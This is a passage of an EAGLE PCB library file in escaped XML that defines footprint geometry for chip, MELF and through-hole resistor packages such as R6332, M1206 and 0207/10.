layer=\"21\"/>\n<smd name=\"1\" x=\"-2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-2.159\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.159\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R5025W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-2.286\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R6332\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"1.473\" x2=\"1.498\" y2=\"1.473\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.473\" y1=\"-1.473\" x2=\"1.498\" y2=\"-1.473\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.8\" y=\"0\" dx=\"1.8\" dy=\"3.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.8\" y=\"0\" dx=\"1.8\" dy=\"3.2\" layer=\"1\"/>\n<text x=\"-2.794\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.794\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R6332W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.896\" y=\"0\" dx=\"2\" dy=\"2.1\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.896\" y=\"0\" dx=\"2\" dy=\"2.1\" layer=\"1\"/>\n<text x=\"-2.921\" y=\"1.778\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.921\" y=\"-3.048\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"M0805\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.10 W</description>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"0.7112\" y1=\"0.635\" x2=\"-0.7112\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.635\" x2=\"-0.7112\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.016\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.0414\" y1=\"-0.7112\" x2=\"-0.6858\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"0.6858\" y1=\"-0.7112\" x2=\"1.0414\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5999\" x2=\"0.1999\" y2=\"0.5999\" layer=\"35\"/>\n</package>\n<package name=\"M1206\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.143\" y1=\"0.8382\" x2=\"-1.143\" y2=\"0.8382\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-0.8382\" x2=\"-1.143\" y2=\"-0.8382\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-0.9144\" x2=\"-1.1176\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"1.1176\" y1=\"-0.9144\" x2=\"1.7018\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8001\" x2=\"0.3\" y2=\"0.8001\" layer=\"35\"/>\n</package>\n<package name=\"M1406\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.12 W</description>\n<wire x1=\"-2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.3208\" y1=\"0.762\" x2=\"-1.3208\" y2=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3208\" y1=\"-0.762\" x2=\"-1.3208\" y2=\"-0.762\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.6858\" y1=\"0.762\" x2=\"-0.6858\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.6858\" y1=\"-0.762\" x2=\"-0.6858\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.651\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.651\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.8542\" y1=\"-0.8382\" x2=\"-1.2954\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"1.2954\" y1=\"-0.8382\" x2=\"1.8542\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"M2012\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.10 W</description>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"0.7112\" y1=\"0.635\" x2=\"-0.7112\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.635\" x2=\"-0.7112\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.016\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.0414\" y1=\"-0.7112\" x2=\"-0.6858\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"0.6858\" y1=\"-0.7112\" x2=\"1.0414\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5999\" x2=\"0.1999\" y2=\"0.5999\" layer=\"35\"/>\n</package>\n<package name=\"M2309\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire x1=\"-4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.413\" y1=\"1.1684\" x2=\"-2.4384\" y2=\"1.1684\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-1.1684\" x2=\"-2.413\" y2=\"-1.1684\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.651\" y1=\"1.1684\" x2=\"-1.6764\" y2=\"1.1684\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.651\" y1=\"-1.1684\" x2=\"-1.651\" y2=\"-1.1684\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<text x=\"-2.794\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.794\" y=\"-2.794\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.048\" y1=\"-1.2446\" x2=\"-2.3876\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"2.3876\" y1=\"-1.2446\" x2=\"3.048\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"M3216\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.143\" y1=\"0.8382\" x2=\"-1.143\" y2=\"0.8382\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-0.8382\" x2=\"-1.143\" y2=\"-0.8382\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-0.9144\" x2=\"-1.1176\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"1.1176\" y1=\"-0.9144\" x2=\"1.7018\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8001\" x2=\"0.3\" y2=\"0.8001\" layer=\"35\"/>\n</package>\n<package name=\"M3516\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.12 W</description>\n<wire x1=\"-2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.3208\" y1=\"0.762\" x2=\"-1.3208\" y2=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3208\" y1=\"-0.762\" x2=\"-1.3208\" y2=\"-0.762\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.6858\" y1=\"0.762\" x2=\"-0.6858\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.6858\" y1=\"-0.762\" x2=\"-0.6858\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.651\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.651\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.8542\" y1=\"-0.8382\" x2=\"-1.2954\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"1.2954\" y1=\"-0.8382\" x2=\"1.8542\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"-0.4001\" y1=\"-0.7\" x2=\"0.4001\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"M5923\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire x1=\"-4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.413\" y1=\"1.1684\" x2=\"-2.4384\" y2=\"1.1684\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-1.1684\" x2=\"-2.413\" y2=\"-1.1684\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.651\" y1=\"1.1684\" x2=\"-1.6764\" y2=\"1.1684\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.651\" y1=\"-1.1684\" x2=\"-1.651\" y2=\"-1.1684\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<text x=\"-2.794\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.794\" y=\"-2.794\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.048\" y1=\"-1.2446\" x2=\"-2.3876\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"2.3876\" y1=\"-1.2446\" x2=\"3.048\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"0204/5\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0204, grid 5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"2.032\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.032\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-1.778\" y1=\"0.635\" x2=\"-1.524\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.778\" y1=\"-0.635\" x2=\"-1.524\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.524\" y1=\"-0.889\" x2=\"1.778\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.524\" y1=\"0.889\" x2=\"1.778\" y2=\"0.635\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.778\" y1=\"-0.635\" x2=\"-1.778\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.524\" y1=\"0.889\" x2=\"-1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"0.762\" x2=\"-1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.524\" y1=\"-0.889\" x2=\"-1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"-0.762\" x2=\"-1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"0.762\" x2=\"1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"0.762\" x2=\"-1.143\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"-0.762\" x2=\"1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"-0.762\" x2=\"-1.143\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"0.889\" x2=\"1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"-0.889\" x2=\"1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"-0.635\" x2=\"1.778\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.0066\" y=\"1.1684\" size=\"0.9906\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.1336\" y=\"-2.3114\" size=\"0.9906\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-2.032\" y1=\"-0.254\" x2=\"-1.778\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"1.778\" y1=\"-0.254\" x2=\"2.032\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"0204/7\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0204, grid 7.5 mm</description>\n<wire x1=\"3.81\" y1=\"0\" x2=\"2.921\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-2.921\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0.762\" x2=\"-2.286\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.54\" y1=\"-0.762\" x2=\"-2.286\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.286\" y1=\"-1.016\" x2=\"2.54\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.286\" y1=\"1.016\" x2=\"2.54\" y2=\"0.762\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.54\" y1=\"-0.762\" x2=\"-2.54\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"1.016\" x2=\"-1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.778\" y1=\"0.889\" x2=\"-1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"-1.016\" x2=\"-1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.778\" y1=\"-0.889\" x2=\"-1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"0.889\" x2=\"1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"0.889\" x2=\"-1.778\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"-0.889\" x2=\"1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"-0.889\" x2=\"-1.778\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.286\" y1=\"1.016\" x2=\"1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.286\" y1=\"-1.016\" x2=\"1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-0.762\" x2=\"2.54\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.54\" y=\"1.2954\" size=\"0.9906\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.6256\" y=\"-0.4826\" size=\"0.9906\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"2.54\" y1=\"-0.254\" x2=\"2.921\" y2=\"0.254\" layer=\"21\"/>\n<rectangle x1=\"-2.921\" y1=\"-0.254\" x2=\"-2.54\" y2=\"0.254\" layer=\"21\"/>\n</package>\n<package name=\"0207/10\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 10 mm</description>\n<wire x1=\"5.08\" y1=\"0\" x2=\"4.064\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-4.064\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" 